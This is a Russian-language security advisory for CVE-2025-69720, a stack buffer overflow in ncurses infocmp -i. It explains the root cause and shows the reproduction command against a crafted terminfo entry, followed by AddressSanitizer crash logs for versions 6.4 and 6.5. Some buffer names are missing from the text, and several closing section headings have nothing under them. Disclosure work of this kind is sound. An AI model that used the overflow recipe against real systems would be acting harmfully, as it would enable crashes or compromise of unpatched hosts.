CVE-2025-69720: Переполнение стекового буфера в ncurses infocmp `-i` (CWE-121)

Автор: Yixuan Cao (Шэньчжэньский университет), [email protected]

Окружение

Хост: openEuler 22.03 LTS (Linux aarch64)
Инструментарий: системный clang 12.0.1 + AddressSanitizer
Исходный код: ncurses-6.4 и ncurses-6.5 (до патча 20251213)

Суть

infocmp -i вызывает analyze_string() (progs/infocmp.c) для проверки последовательностей CSI, найденных в записи terminfo. Процедура копирует подстроку-кандидата в буфер фиксированного размера в стеке (, 4096 байт). Поскольку не проверяется на превышение 4096, вредоносный длинный список параметров CSI (например, с ~800 параметрами) переполняет , вызывая сбой стека. Тот же PoC воспроизводится на версиях 6.4 и 6.5 до патча 20251213 (см. выводы ASan ниже). Версии ранее 6.4 не тестировались.

[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr ================================================================= ==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08 WRITE of size 6402 at 0xffffcfa5e240 thread T0 #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) #1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3 #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6 #3 0xffffab9d0ffc (/usr/lib64/libc.so.6+0x2affc) #4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4) #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c) Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818 This frame has 2 object(s): [32, 4128) 'buf2' (line 819) [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy Shadow bytes around the buggy address: 0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==3848299==ABORTING

[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr ================================================================= ==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48 WRITE of size 6402 at 0xfffff7af5380 thread T0 #0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) #1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3 #2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6 #3 0xffff811baffc (/usr/lib64/libc.so.6+0x2affc) #4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4) #5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c) Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame #0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842 This frame has 2 object(s): [32, 4128) 'buf2' (line 843) [4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) in strncpy Shadow bytes around the buggy address: 0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==3863888==ABORTING

CVE-2025-69720

Популярное

Влияние

Шаги для воспроизведения (на примере ncurses-6.4)

Вывод ASan